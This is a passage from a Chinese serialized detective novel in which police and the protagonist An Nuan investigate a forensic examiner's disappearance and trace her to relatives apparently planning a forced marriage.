“这样啊。”卢瑞泽和云松德一起坐在后座:“董法医该不会是谈恋爱了,为情所困吧?” 楚隽和安暖对视了一眼。 这就有点不知道该怎么说了。 董紫莺跟楚隽表白这件事情,不能确定是否和董紫莺的失踪有关。也不能确定是否和董紫莺这几天的心情低落有关,暂时还是不能说。 “不好说。”云松德毕竟是个男人,跟董紫莺又不是一个办公室的,知道的也不多。 只是他们俩都觉得,董紫莺这个年纪的姑娘,谈恋爱是一件很正常的事情,就算是为情所困,也很正常。 赶时间,楚隽车开得很快,二十分钟后,就到了董紫莺住的小区门口。 刚才打电话的时候,江笑愚就说清楚了门牌号码,楚隽将车停在楼下,带着众人上了楼。 三楼三零二。 门开着,他们上楼的时候,祁雨诗和江笑愚正好从楼上下来。 “楚队,你终于来了。”看见楚隽,祁雨诗眼前一亮,快步跑下楼:“紫莺失踪了,这可怎么办啊?” “别慌。”楚隽道:“老江,现在是什么情况?” 江笑愚将手里的本子递给楚隽:“楚队,我们是下午一点到的,当时的情况就是敲门没人回应,我们以为是人不在家。先去找了几个小董常去的地方,都表示这两天她没有去过。然后我和小祁又回到这里,撬开门,确定小董不在家。” 云松德穿上随身带的鞋套进了屋。 祁雨诗忙道:“我们打开门之后,虽然进去看了一下,但怕破坏现场,什么东西都没有动。” 这就是警察出现在第一现场的好,知道什么能动,什么不能动,不会破坏现场。 云松德进了房间,江笑愚道:“房间里很整洁,没有明显被人入侵的痕迹。只有刚才说的那一处疑点,当然更细致的活儿要痕检来做。我询问了楼上楼下的邻居,但是没有什么有用的线索。只能问到,他们并没有看见董法医和男人有来往,也没有在小区里看见她和什么人有什么矛盾拉扯。” “昨天晚上和今天早上呢?有没有人看见董法医?” 现在还不能确定董紫莺具体的失踪时间。 是昨天晚上下班就没回家?还是今天早上上班出了门,但是没有去单位? 可惜这小区不是单位宿舍楼,住的都是天南海北的人,互相的来往很少。大家都是回到家之后就关上门,虽然住得很近,却并不了解。 众人都戴上鞋套进了房间。 董紫莺住的这个房子是租的,一室一厅,一厨一卫。 安暖正要进门,被祁雨诗拦了下来。 “安暖。”祁雨诗道:“你为什么会在这里,你又不是刑警队的人,而且要不是因为你拦着,我们是可以早一点发现紫莺失踪的。” 安暖皱眉看着祁雨诗。 “第一,你没有报警,目前只是找朋友求助,我是以楚隽朋友的身份出现在这里帮忙的。如果你正式报警,局里会根据案件安排人手。如果你觉得楚隽带我来不合规,可以投诉举报,而不是挡在我面前说些有的没的。” “第二,董紫莺半天没来上班,根本达不到失踪报案条件,你中午那么来找我,让我未婚夫插手曾经追求过他的女人的私事,这不合适。我不同意是合理的,并没有错。” 没想到安暖会这么干净利落的就给她堵了回来,祁雨诗瞪大了眼睛。 “祁同志,我希望你不要信口开河。”安暖正色道:“我有我做事做人的原则,该我的责任我绝不推脱,但莫须有的罪名,我也绝不背锅。你别想道德绑架我。” 想也别想。 这还是安暖有道德的时候,还能讲讲道理。要是逼急了,她可以连道德都没有,就更别想道德绑架她了。 祁雨诗本来觉得自己还挺伶牙俐齿的,但被安暖这么一堵,真是一句话也说不出来。 安暖转身就进了房。 董紫莺不仅仅是祁雨诗的朋友,也是楚隽的同事,更可能是受害者。前面一点安暖可以不管,但是后面的两点,无论哪一点,安暖都不会坐视不理。 无论祁雨诗是高兴,还是不高兴。无论董紫莺和楚隽是什么关系,都不会影响安暖的专业。 云松德已经检查了卫生间,也检查了其他地方,但是没有提取出有用的有用的指纹。 “房间里暂时只发现了一个人的指纹,是董法医的。没有发现脚印,也没有打斗,破坏的痕迹。” 所以说,董紫莺并不是被人从房子里拐走的,是自愿离开。或者,即便是被挟持离开,整件事情也发生的非常快,让董紫莺完全没有反抗的余地。 董紫莺只是个女孩子,法医不是法师,凶手如果手握凶器之类,为了安全,她只能示弱先保全自己。 如今只是希望,董紫莺能够找机会留下一些线索。 第129章 有一个人更了解 安暖进了厨房,看了一下,喊道:“祁同志,你进来一下。” 祁雨诗没想到安暖会喊她,而且这么堂而皇之地喊她,没反应过来的应了一声,赶紧走了过去。 安暖问:“你和董同志走得近,知道不知道,她平时喜欢自己烧菜做饭吗?” “喜欢,也谈不上喜欢,但除了中午的工作餐,她一般都是自己在家做饭吃的……这跟她失踪有什么关系?” 安暖没说有什么关系,但是她指厨房一角。 “董同志应该是经常自己烧饭做菜的,厨房里油盐酱醋,各种调料很齐全。只有常做饭的人,才会有这么齐全的调料。” “所以呢?”祁雨诗一时没反应过来。 “但是这个厨房里,缺了一些东西。”安暖走到了厨房角落,地上有一些残留的土,痕迹,还有叶子。 安暖捏起了地上的叶子。 “这是萝卜缨。”安暖说:“还挺新鲜,最多一两天的时间。” 楚隽在外面和江笑愚安排了工作,走进了厨房。 “有什么发现。” 祁雨诗现在还有点茫然,不知道安暖在找什么。 “有一点很奇怪。”安暖说:“董紫莺作为一个早晚都会在家里做饭的人,家里有齐全的调料品,那也应该有一些配菜,葱姜蒜辣椒什么,可是一点都没有,这不合理。而且,这里有新鲜的菜叶,但是橱柜里却没有剩菜。” “所以呢?” “所以菜呢?”安暖摸了摸地上落的散碎的泥土:“菜去了哪里?” 祁雨诗听的一愣一愣的:“不是,你怎么确定这里有菜?就算碗橱里没有菜,那也许刚好吃完了,又没有买新鲜的菜呢?” “不,不是的。”安暖说:“虽然我和董紫莺没有私交,但我也算在法医室帮了一阵子忙,对她有一定了解。还有看她平时的衣着,这个房间里的摆设,我认为董紫莺是一个非常干净整洁的人。这个架子是她放买来的蔬菜的,要么,这里有没有做完的菜,要么,应该干干净净。” 祁雨诗沉默了。 局里对安暖的评价,她也听了一些。 大部分是好的,小部分不太好。好的那部分,很多人说安暖不像是个五年级文化的乡下人,和局里资深刑警刑侦人员在一起讨论,都没有一点怯场。 侃侃而谈,能想得出,也能接得住。 安暖这个想法很大胆。 祁雨诗也认可安暖这件事情上的推断,但是这个结果,就觉得很荒谬。 “所以你的意思是,绑架带走董紫莺的人,还顺手带走了厨房里的菜?” “虽然听起来很荒谬,但就从现场看,是这样没错。”安暖正色道:“祁同志,你尽可以放心。我不会因为和董紫莺的私人关系,影响了专业的判断。” “这一点我相信。”楚隽毫不犹豫地道:“我认为安暖的判断是对的,很敏锐,准确。” “可是其他地方也没有被翻动过啊。”祁雨诗不由地道:“如果嫌疑人贪财到了这种地步,为什么不拿值钱的东西,只拿菜,这说得过去吗?” “说不过去,所以这件事情,一定有特别的原因。”楚隽道:“去查董法医的社会关系。除了警局的人,她还有什么亲朋好友,同学熟人。这件案子很像是熟人作案,所以现场没有打斗挣扎痕迹,也没有人听见声音,目前不能排除董紫莺是自愿离开的。” 祁雨诗惊了。 “小祁。”楚隽说:“你和董法医走的近,能联系上她父母吗?或者其他的什么亲戚?再或者,有没有什么共同的朋友?” 祁雨诗还真被问住了。 “我记得董法医入职,也有五年了吧。” “是,她和我是一起入职的,但……”祁雨诗有些为难:“但我没见过她父母,也没见过她什么亲戚朋友。她跟她的同学,也没有什么来往。” 楚隽疑惑道:“你们关系一直都好,应该是无所不谈的闺蜜,难道就从来没有聊过家人吗?” “也不能说完全没有聊过,但是紫莺不喜欢这个话题,所以没有多聊。”祁雨诗说:“我只知道,紫莺的家庭不太好,她还有一个兄弟,但我不确定是哥哥还是弟弟。家里父母重男轻女,所以她很努力,也很辛苦,才能走到今天。她和家里……我觉得是一个断绝联系的关系,可能闹得非常僵。” 祁雨诗说着,自己也觉得有些尴尬。 还说自己是董紫莺最好的闺蜜,结果一问三不知。 时间过去一些,危险就增加一分,祁雨诗拼命地想。 安暖道:“难道入职的时候,没有填过家庭关系,紧急联系人吗?” 好歹是公安局啊,怎么入职的时候不查个祖孙三代呢? “有,但董紫莺只是法医,如果她和家庭关系非常淡漠,根据填写的信息也未必找得到人。” 这个年代,可没有那么多联系方式。 大城市还好一些,有些小地方一个村里都没有一部电话,想要联系一趟没有一个月半个月都不行。除非是本地的,不然留紧急联系人不是不行,但不太能起到紧急的作用。 祁雨诗低下了头。 一阵沉默中,楚隽突然道:“我知道有个人,可能对董法医比你更了解。” “谁?” 但楚隽却不说,只是道:“我去打个电话,老江,这里交给你。” 安暖若有所思地看着楚隽离开,心里大概有点数了。 她心里猜了一个名字,这个人,很有可能对董紫莺的了解,比其他人都多。因为那是刻意调查的。 安暖找痕检拿了手套,和他一起检查整个房间。 社会关系,也可以从一些贴身的物件上看出来。 比如说,这个年代电话不普及,遇到紧急事件的时候,会发电报。平时会写信。 如果有汇款,有长短途旅程,都会有票据票根。 安暖打开了一个抽屉,抽屉里,是一些本子册子之类乱七八糟的东西,她一件一件地拿了出来。 祁雨诗看着只觉得心里有些不是滋味,安暖怎么能随便翻董紫莺的东西呢? 可是她又一副非常专业认真的样子,甚至比一旁的痕检云松德看起来还要专业些。 第130章 回到泥沼 这儿有一张照片。”安暖从一本册子里,拿出一张照片。 这是一张一家四口的合照。 上面是两个大人,一男一女,应该是夫妻俩。 还有两个孩子。 一个男孩,一个女孩。 男孩十岁左右,女孩看着要小一点,年纪不会相差太大。 照片是在一处十分破败的房子前照的,房子看着像是北方的土坯房。通常是泥土夯压而成。主房用于自住,而几个较小的房间则用来饲养牛马等牲畜。 照片有些泛黄,有年头了。 安暖看了看,喊祁雨诗:“你过来看看,这个人是不是董紫莺?” 祁雨诗连忙跑了过来。 “是紫莺。”祁雨诗道:“这就是紫莺,不过我没看过这张照片,这难道是她的爸妈和哥哥……弟弟?” “看着像是哥哥。”安暖说:“这张照片是被撕了之后,又粘起来的。董紫莺和她的家人之间的关系,看来真的很差。” 恨的撕心裂肺的时候,董紫莺将照片撕开,同时被撕开的,还有自己黑暗冰冷的过去。 但那一阵子恨过去,又小心翼翼地粘上。 人不是冷血动物,生来需要温暖。 董紫莺不知道受过多少失望,才慢慢绝望。 这种情况安暖以前没少见,重男轻女的家庭对女儿的压榨,要不是卖血卖肾犯法,有很多恨不得拆零卖了。 只是确实看不出来,董紫莺也有如此艰难的一个过去。 除了这张照片,还有就是汇款的单据,几张车票。 “这是西北的当城,这个地方很偏远啊。”江笑愚说:“如果带走董法医的是熟人,不会把她带回老家去了吧?” 这还真是个问题。 安暖继续发散:“不会是带她回老家去结婚吧?” 几个人你看看我,我看看你。 虽然这话一点依据都没有,但其他人都觉得还真有点道理。 不过祁雨诗立刻道:“不可能,紫莺跟我说过,她宁可死也不会再回老家了。她辛辛苦苦何止十年寒窗,好容易如今在京市稳定了下来,要是再回去,那不是又跳入火坑了吗?” 这话一说,大家都有点紧张起来。 可别说带走董紫莺的是自家人就没有危险,如果她爸妈真是这样的人,被他们带走,也一样危险。甚至更危险。 “这可怎么办?”云松德郁闷道:“如果董法医真的是被她父母带走了,那可比被绑架了还难找。” 几人正在商量,楚隽从外面进来了。 祁雨诗连忙地道:“楚队,怎么样,有消息了吗?” “大概问了一下,董紫莺是西北当城人,家里的情况很糟糕。如果是熟人作案的人,很有可能是她家里人来把她带走了。” 楚隽的判断和他们在这里推断出来的差不多。 祁雨诗在屋子里团团转:“那这会儿人是不是已经被带走了,这可去哪里找啊。” “火车站!”楚隽说:“我已经查过了,去当城的车三天才有一班,不管他们是昨天还是今天到的,今天都走不了。最早的一班车是明天下午四点,在这之前,他们都会留在京市。” 祁雨诗一听:“那赶紧找啊,去,去哪里找?” “车站附近。”安暖道:“他们人生地不熟,经济也不富裕,如果只是单纯等时间,一定会就近住在车站附近,那里的房子便宜,进出都方便。” “对对对。”祁雨诗这会儿顾不上和安暖不和了,立刻应着:“那我们赶紧去。” 火车站附近有不少私人招待所,但数量也有限。对方至少两个人,又带了一个董紫莺,董紫莺还是不情不愿的,只要查,一定能查到。 对方不是老奸巨猾的犯罪分子,只是几个从乡下来的普通人。 “要抓紧点了。”安暖道:“董法医现在可能……很危险。” 祁雨诗一下子慌了:“这是什么意思?” “意思就是,如果是我是董雨诗的父母,在电话电报都不能让自己的女儿回家嫁人的情况下,会用更简单的法子。” “什么?” 安暖一个字一个字的道:“生米煮成熟饭,从也得从,不从也得从。” 祁雨诗的脸色一下子白了。 众人下楼,上车去火车站。 就算生米煮成熟饭了,也得把人找到。 如果董紫莺被带回了老家,那才是真的完了。回到不见天日的大山里,嫁给一个粗鲁,愚昧,暴力的男人,生下一堆孩子。这一辈子,就将毁在那里。 那董紫莺之前所有的努力都白费了,她辛辛苦苦,用尽半生才爬出沼泽,又将回到地狱。 安暖见过许多这样的案子,这样的人,大同小异,叫人心疼。即便董紫莺和她没有什么交情,也不愿意这样努力的女子,跌回泥泞。 路上,祁雨诗心急如焚,一个劲儿的催着,开快一点。 安暖皱眉看着窗外。 人来人往。 安暖突然道:“先不要找招待所,人可能不在招待所。” 祁雨诗一听差点炸毛:“之前你不是说人在招待所吗?怎么又不在招待所了。” “招待所贵。”安暖说:“而且你们想,招待所里自己是不能做饭的,可董紫莺厨房里的食材都被带走了,也就是说,他们现在住的地方,是可以做饭的。要不然的话,董紫莺父母就算是再爱顺手占点小便宜,也不至于把生姜大蒜带走吧?” 众人听安暖这么一说,顿时觉得也有道理。 安暖又道:“他们是去抓人的,肯定也不敢把事情闹大,所以都没有在董紫莺的房间里翻找什么,只是顺手拿走了现在立刻用得上的东西。” 比如,菜。 楚隽缓缓道:“火车站附近确实有除了招待所之外的地方可以住。就是附近的人家。附近的居民自己家有多余的房间,空着也是空着,比招待所便宜,一个晚上随便收一点,给等车的人住,赚一点是一点。这种房子,是可以让住宿的人自己烧饭的,就在自己家里烧,意思收一点就行。” 董紫莺父母住的,很可能就是这样的房子。 他们会举着住宿的牌子,在火车站出站口接人。 第131章一轮搜查 路上有两辆车追尾堵了起来,楚隽他们也被堵在了路上。 祁雨诗急的眼睛都红了,眼泪哗啦啦的往下掉,一个劲儿的拍着窗子。 安暖被闹的烦的很,突然回头说了一声。 “你能不能闭嘴。” 祁雨诗被吼得一愣。 “要么好好想案子,要么就闭嘴。”安暖冷着脸道:“你好歹也是警局的人,比我专业吧。如果失踪的人不是董紫莺,只是一个普通的受害者,你也一路哭哭哭吗?” 祁雨诗被骂得一愣一愣的。 她想要反驳,可突然发现一辆车上的人却都没有帮他说话。 沉默了一下之后,云松德弱弱道:“小祁,你别担心,我们会找到董法医的。” 祁雨诗伸手抹了抹眼泪。 “就算今天没有找到董紫莺,我们只要等在车站里,等在检票口,也一定可以守到他们。无论如何,董紫莺不会被带走。” 董紫莺的家乡很远,这个距离只能坐火车,不可能坐汽车中转。所以只要控制住火车站,就一定能找到董紫莺。而且,董紫莺的父母对这件事情的警惕心是不会太高的。 对他们来说,虽然可能是强制将董紫莺带走的,但这又不是外人,是自己的女儿。有些父母一直将自己的儿女当做自己的所有品,带走就带走了,嫁就嫁了,完全不需要尊重对方的意愿。 “可是……可是……”祁雨诗可是了两句:“万一我们找到紫莺迟了,她已经被她爸妈嫁给了不愿意嫁的人……还,生米煮成熟饭了,那怎么办?” 祁雨诗跟董紫莺的关系是真的不错,说出这话的时候,声音都在抖。 几个男人都没开口。 “没领证就不算嫁,嫁了也可以离。”安暖沉声道:“危难时刻活着就好,什么熟饭不熟饭的,受过伤害的人也要好好活着。祁雨诗,你是董法医最好的朋友,从现在开始,你要有心理准备。我们要尽最大的努力,但要做最坏的打算。” “什么,什么打算?” “董法医是个心高气傲的人,如果真的出了什么事,你别哭得比她还大声。就算心里再难过也要忍着,必须在她面前做出一副云淡风轻,没多大事儿的样子来。如果到了那个时候,她需要的不全是同情,更是平等的看待。” 祁雨诗也慢慢冷静下来,认真地听着。 她皱紧眉头听安暖说话,听完之后,慢慢点头。 “你说得对。” 安暖对祁雨诗的反感没有兴趣,对她的赞同也没有兴趣。 她对董紫莺谈不上讨厌,当然也谈不上喜欢,只希望她平安。 车很快到了车站,楚隽直接开车去了辖区派出所,借了几个对车站周边熟悉的民警,杀了过去。 他们特意从董紫莺家里搜出了几张照片,楚隽给他们一人发了一张。 剩下的,他们一人跟一个。 这事情目前也没有什么其他的办法,就是直接找人。以车站为中心的所有便宜住处,一家一家的找过去。好在目标很明显,至少两到三人,甚至可能更多。 这么多人根本没有办法隐藏,房主也不会帮他们隐藏的,找到这么多人,应该不是很难。 安暖跟着楚隽,和一个姓顾的民警一起,搜查东边的一个片四合院。 这一片人员密度很大,一个院子里都住着好几户人家,每一户人家,少的三五人,多的三代同堂,四代同堂,甚至能有十几个人。 这种地方人多混杂,但也有好处,大家住在一个院子里,低头不见抬头见,都认识。 所以只要一个陌生面孔的出现,都会很容易被认出来。 楚隽拿着照片,一个四合院,一个四合院的问了过去。 问的过程很顺利,大家都很配合。 一直到天黑,夜色中,结束了第一轮询问。 众人在火车站广场碰头。 不用多说,只要一看彼此的表情,就知道没有发现。 祁雨诗又累又急,一屁股就坐在了地上。 “怎么会这样,这么大的几个人呢,如果真的住在这附近,怎么可能会找不到。我们的判断是不是方向有问题?” 无论什么案子里,最害怕的就是方向错误。 方向一旦错误,走得越远,就会错得更多。 但是这事情从头再捋一遍,安暖还是觉得,熟人作案的可能最大。而且目前来说,没有任何线索支撑第二个侦查方向。 楚隽和江笑愚一条一条的讨论着可能的疑点,安暖翻着江笑愚之前做的记录。 如果不是熟人作案,还有什么方向呢? 房间很整齐,不是为了求财。 董紫莺是个法医,收入虽然不顶尖,但还是不错的。而且她比较注重个人形象,每天上班打扮得都很得体。从外表看,她谈不上家资殷实,但家里肯定是有一些钱的。 求财的人,不会不翻房间,也不会带走厨房里的蔬菜。 仇人或者是追求者,很难一点痕迹都不留下。更不可能带走厨房里的菜。 安暖一边听着楚隽和江笑愚讨论,一边将今天所有的线索一个一个地在脑子里梳理了一遍。 楚隽突然问道:“暖暖,你怎么看?” 安暖皱紧眉头,缓缓道:“我还是坚持之前的推测,我觉得这就是一起熟人作案,除此之外,想不出更有可能的方向。” 祁雨诗道:“可是我们把火车站周围都查了一遍,没有发现紫莺啊。他们会不会住得比较远?” 火车站周围就那么大,这个范围是有限的。 可如果他们没有住在这一片,那就没办法找了。京市大着呢,想找一个人谈何容易。 “不太可能。”安暖说:“如果是外地来的,不日即将返程,对京市人生路不熟,就完全没有理由去别的地方。哪怕有更便宜的住宿地方,来回车费,找路,这都是麻烦。” 住在火车站附近,这是最好的选择。 “除非……他们不是外地人。” “不可能。”祁雨诗立刻道:“紫莺没有本地亲戚,我从来没有听说过。” 安暖嘶了一声:“你们知不知道,有一种大爷大妈,特别自来熟。他们在本地可能没有亲戚,但是未必没有熟人。” 第132章 我更懂 这是什么意思?”祁雨诗有点傻:“你是说,董紫莺来到京市之后,下了火车站,就认识了朋友?” “这并不奇怪。”安暖虽然非常不想,但为了自己的话更有说服力,还是举了一个很丢人的例子。 叹了口气。 安暖说:“我刚来京市的时候,一下火车刚出车站,就有人过来问我。要不要住宿,要不要吃饭,要不要坐车,要不要带路……他们很热情,真诚,表示只要极少的花销,就能带来极大的便利。这对一个刚从偏远地区来到繁华世界的外地人来说,很难拒绝这样的帮助。” 这还是大家第一次听安暖说起当时的事情,连楚隽都竖起了耳朵。 之前安暖不是没有去做过口供,但都是很中规中矩的回忆和描述,和这一次的感觉完全不一样。 一个是叙事,一个是抒情。 看着大家一起看她的眼神,安暖正色道:“你们不懂,这是认知的差别。我可能不懂花花世界,但一定比你们更懂第一次来京市的外地人。” 说得也不无道理。 “董紫莺的父母对她并不关心,路途又远,出门要花钱,他们不会送她上学,也不可能来看她。” “不是不来看她。”祁雨诗纠正:“其实紫莺来京市一直是偷偷的。她家里根本不同意她上学,只想早早让她嫁人换彩礼,是她自己争气,偷偷跑出来上学的。一直上班了,才开始和家里有联系,她爸妈肯定没来过京市。” “所以她父母对京市一无所知,虽然知道门牌号码,但在两眼摸黑的地方,根据门牌号码找人谈何容易。有一个本地人帮助,那就好多了。他父母只是没见过世面,不是没脑子,只要稍微一动脑子,就会找一个本地人咨询此事。” 楚隽道:“每个地方都有固定人群,商贩也是如此,这是要抢地盘的。如果董紫莺的父母是在广场上认识的本地人,去打听一下,可能会有人知道。” 他们今天查的都是本地可以住宿的人家,倒是没查在车站拉客的那些。 楚隽看了看时间:“老江,去买点吃的大家对付两口,今天辛苦了。” 祁雨诗一下子站了起来。 “我去买,我去买。” 这大半天,大家都尽心尽力,即便是安暖也没有一点敷衍,面色疲惫倦怠,但是没有半句怨言。祁雨诗知道这并不是看在她的面子上,但心里依然有些动容。 她觉得自己应该做点什么 楚隽也没有拦着她。 “那你先去买,然后去出站口找我们。” “好。” 祁雨诗匆忙地去了。 每一个眼熟的小混混,在辖区派出所有备案。 火车站是非常重要的公共场所,而且人流量大,警备力量自然到位。辖区民警对这一片拉活儿的人那是熟悉的不能再熟悉,很快就找了几个小头目。 民警老赵问:“知道不知道最近谁接待了一男一女两个外地来,四五十岁的夫妻。可能身边还有其他人。” 这问得太笼统了,几个头头你看看我,我看看你。 其中一个叫温白的出来说话:“赵哥,还有具体一点儿的信息吗?有照片吗?你知道的,咱们这每天来来往往的人很多,你说的这样的,很多啊。火车站的人,大部分都是外地来的,拖家带口的太多了。” 老赵有些为难地看了看楚隽。 楚隽也有些为难。他们确实有董紫莺父母哥哥的合照,但是那个照片用处不大。 黑白的老照片并不清晰,而且不是最近拍的,时间间隔太长,照片里董紫莺的父母还很年轻,很现在肯定截然不同。用老照片上的人去找现在的人很困难,还有可能反而给人带到沟里去了。 但楚隽只为难了片刻。 “暂时没有可用的照片。”楚隽说:“你们总在火车站附近拉客的,互相之间应该都认识吧。” 温白连连点头:“认识,都认识。都是老朋友了。” “平时的人是不是也是固定的,哪个地方几个人,人员流动不大吧?” “不大。比如这里都是我们兄弟几个,抢生意对谁都不好,所以大家都挺自觉的。” “那你们看看,今天谁没有出现。”楚隽道:“今天没有出现的人,知道他们住在什么地方吗,带我们跑一趟,去他们家里看看。” 楚隽说着,掏出钱包,一人发了几张钞票。 几个人都惊了,连连后退不敢要。 “楚队,这钱可不敢要,能帮上忙这是我们的荣幸。那什么……为人民服务,都是我们应该做的。” “拿着吧。”楚隽将钱塞进温白手里:“就当晚上雇你们了干活儿了,这是劳动报酬,你们应得的。” 楚隽有钱,在外面做事,有些时候更愿意用钱解决。而且,在大部分时候,舍得花钱,效果更好。 其他人也不是不认可这一点,但是认可归认可,没那资本没办法。走公家的账,约束就太多了。楚隽都是自己掏的。 几个人拿了钱,更愿意帮忙了。 很快他们就商量出来,今天确实有好几个人没出现,都是以前大家在一起的。 “这几个。”温白拿着商议出来的名单:“赵哥,楚队,你们看看。” 众人一看,觉得心里稍微轻松一点。 名单上只有三个名字。 “就这几个。”温白说:“其他人今天都看见了,只有这几个今天没见着,可能是家里有什么事情。” 楚隽道:“他们住在哪里,你们都知道吗?” “知道。” “好,那辛苦你们,带我们过去。” 住的都不远,当下兵分三路,立刻出发。 楚隽和安暖就跟着刚才出来说话的叫温白的中年人,还有当地民警许嘉。 一行四人,急匆匆的往黑暗中走去。 他们去找一个叫从耀宗的人。 从耀宗,本地人,就住在火车站周边的自建平房里,今年四十五岁,跟父母一起住,家里还有一个弟弟。兄弟俩都没有结婚。 “他们家条件不太好,弟弟这里有问题。”温白指了指自己的脑袋:“小时候发烧吃药,烧退了之后,就有点傻了,快四十的人了,只有七八岁的智商。” 安暖听着,心里更加的不安。 第133章 不在家 很快到了从耀宗家的门口,温白上去敲门。 “耀宗,耀宗。”温白喊道:“你在家吗?” 屋子里有亮光,应该是有人在家。 有人过来了,问道:“谁啊。” “是我,我是老温。”温白说:“我有事情找你。” 之前来的时候,楚隽就跟温白说了,先不要暴露他们的身份。 楚隽穿的是便衣,民警许嘉穿的也是便衣,乍一看也看不出是警察。 门开了,开门的是一个老妇。 “从婶。”温白道:“耀宗在家吗?我找他有事。” “哦,他不在家。”从耀宗母亲说:“他出门去了。” “出门去了?去了哪儿啊。” 从耀宗母亲却没有回答,而是看了看他身后的楚隽一行。 “怎么了,出什么事情了吗?”从母说:“这几位是?” “哦,是我朋友。”温白道:“我接了个大生意,一个人做不了,想着找耀宗一起做。今天没见到他,过来问问看。” 温白不愧是在火车站做生意的,见人说人话,见鬼说鬼话,碰着意外情况都不用想的就能找出借口,张口就来。 “哦,是这样啊。”从母的神态缓和了一些:“小温啊,谢谢你有生意还记着耀宗。但是他这会儿不在家,出门去了。” 温白道:“耀宗去哪儿了啊?这生意不是今天着急就要的,可以等他几天。” “啊,这个啊……”从母含糊了一下:“我也不知道,他那么大的人了,去哪儿也不会告诉我。这样吧,等他回家了,我叫他找你。” 从母的态度很奇怪啊。 院子里一片安静,一点儿声音都没有。 现在还没到所有人都睡觉了的时候,这么安静,好像是一个人都没有的样子。 从家的人呢?都去了哪儿? 温白回头看了楚隽一眼,有些为难。 现在该怎么办? 能说的话我都说了,其他的我也不好做什么了,我总不能硬往里面闯,但你们不是警察吗,要不你们硬往里面闯? 眼见着从母有关门的意思,楚隽立刻道:“不好意思,我想借个厕所。” 管他呢,进去再说。 什么理由并不重要。 从母一听,果然有些犹豫,不太想让楚隽进去的样子。 但是看楚隽的穿着气势,又觉得是个不好惹的。加上他是温白带来的,也不想得罪人。 就这一晃神的功夫,楚隽已经进去了。 “对不住对不住。”楚隽说:“实在憋不住了。” “哎,小伙子……” 从母跟在后面,但也没能拽住。 而且从母一离开大门,其他几个人都走了进去。 一个人守一个门,终究是太难了。 安暖进了院子便直接往房门处走。 如果他们绑架了董紫莺,现在董紫莺一大家子都还在这里的话,那么多人呢,不可能一点动静都没有,更不可能一点痕迹都没有。 家里有人,房门是开着的。 安暖趁着从母反应不过来,直接推开了堂屋的门。 里面亮着灯,一览无余。没有人,也没有不符合这个背景的东西。 也没有办喜事的任何东西。 难道是他们多心了,这件事情和从耀宗没有关系? 但是会那么巧吗? 眼见着从母急匆匆走了过来,安暖退了两步,低声对温白说:“问他弟弟。” 温白愣了一下,立刻点头表示明白。 在他看来,反正都没穿警服,安暖跟在楚隽身边,肯定也是警察。 温白直接道:“从婶,怎么没看见耀庆和从叔,他们也出去啦?” 从耀庆就是从家的二儿子。 他今年虽然三十五岁,但智商只有七八岁,只能做到基本的生活自理,工作学习都没有办法。这是从家心里的重担,但是又毫无办法。 只能当孩子一样的养着。 从耀庆平时不怎么出门,只在家里待着。从母会找一些简单的手工给他做,虽然赚的很少,但一来可以让他打发时间,二来,多少也能补贴一下家用。 “是呀,他们也出门去了。”从母说:“都不在家呢。” 温白再接再厉:“他们去哪儿了?” 从母很警觉:“小温,你今天怎么回事啊,怎么老关心我们家人去哪儿了?” 从母这话一说,显然就是起了疑心了。 再问,她也不会说什么了。 现在要么先离开再想办法,要么就直接亮明身份直接问了。 楚隽犹豫了一下,没有开口。 他没开口,其他人自然先不动。 “没啥,就是随便问问。”温白说:“既然耀宗不在家,我就先走了。” 从母一直看着他们出了院子,赶紧关上了门。 众人往外走了一下,转进巷子,这才停下。 “几位同志。”温白说:“从家有点奇怪,但是问了从婶不说,我也没有办法了。” 就连温白都看出来从婶的心虚。 但是她心虚不说,就没有办法。 这样的老太太,一旦事情牵扯到自己的丈夫,儿子,那是非常坚定的。认死理,八匹马都拉不回来,又一身的病不能打不能骂,还要以德服人,想从她口中问出点情况来,非常困难。 这可能要耗很长时间,费很大劲儿。 他们现在没有太多时间,这就是楚隽没有亮明身份的原因。 楚隽略一沉吟:“一家子都出门了,能去哪儿,还有一个智商只有七八岁的儿子。” 安暖道:“带着个残障人士,这说明他们现在去做的事情,不是一件需要体力的事情。不是找活儿去了。这件事情,从耀庆必须在场。” 带他出门是累赘。 既不好照顾,还容易坏事儿。 所以有一个非要带他不可的理由。 是什么? 安暖和楚隽几乎同时脱口而出:“结婚。” 一个人,真正的想结婚,可以错过自己的婚礼,总不能错过自己的洞房。 从耀庆今年三十五岁,对他父母来说,肯定特别希望看见他结婚。他们会认为,结婚了,就能找一个女人照顾自己的儿子。 父母会老,照顾不了一辈子。 儿媳妇一找,儿子的下半辈子,就交接出去了。 至于对这个女人公平不公平,根本不在他们的考虑范围内。 第134章 生死时速 幸亏祁雨诗现在不在这里,要不然的话,估计要急疯了。 楚隽立刻道:“许同志,你带人去附近的小卖部问一问,看看从家最近有没有在店里买过什么东西,说过什么话。还有,温白有没有什么关系好的兄弟朋友?他是土生土长的本地人吗?” 许嘉立刻去了。 温白说:“从家是本地人,但是也是有老家的。他老家就在安多县,离这里不远。是从耀庆的父母这一辈,才搬到这里的。他们每年清明都要回去祭祖,所以大家都清楚。” “有没有知道他老家的确切地址?” “我想想……”温白快速地想了想:“有,从耀宗有个老乡,说是一个村子的,住的不远。” “带我去。” “好。” 温白虽然到现在也没搞清楚具体发生了什么事情,但显然这事情很着急,不能等,早一时,是一时。 温白立刻带着他们去找从耀宗的老乡。 一晃已经九点了,虽然谁都不说,但是大家都很担心。 有些事情,争分夺秒。 虽然谁都没说,但是谁都明白。 如果董紫莺真的被父母带走,强行嫁人,那么今天晚上就是一个关头。 对方可不会和你谈恋爱培养感情,下聘订婚结婚走流程。 夜长梦多,只怕是快要来不及了。 从耀宗的老乡叫从野,他们是一个村子的,村子里沾亲带故,很多人都姓从。 从野,也不在家。 但是他老婆孩子都在家。 温白敲开了从野家的门。 出来开门的是从野的妻子。 “温白?”她一脸茫然:“怎么了?” 温白开门见山:“野哥在家吗?” “不在家。” “他去哪儿了?” “回老家了。” 众人心里一动。 温白立刻道:“这不年不假的,他回老家干什么去了?” 从野妻子也问出了正常人会问的问题:“你找他,是有什么事情吗?” 温白还是之前一样的说辞。 从野的妻子立刻就心动了。 人和人是不一样的,从耀宗的母亲心虚,所以无论什么原因,她现在只想少惹麻烦。 从野的妻子显然不心虚,她只是单纯地知道丈夫出门去了。 有生意,能赚钱的事情,当然要联系上丈夫。这年代赚钱不容易,她孩子还小,家里要用钱的地方多了,没有往外推的道理。 “这事情很急吗?”从野妻子问:“他说回老家一趟,应该明天就能回来。” 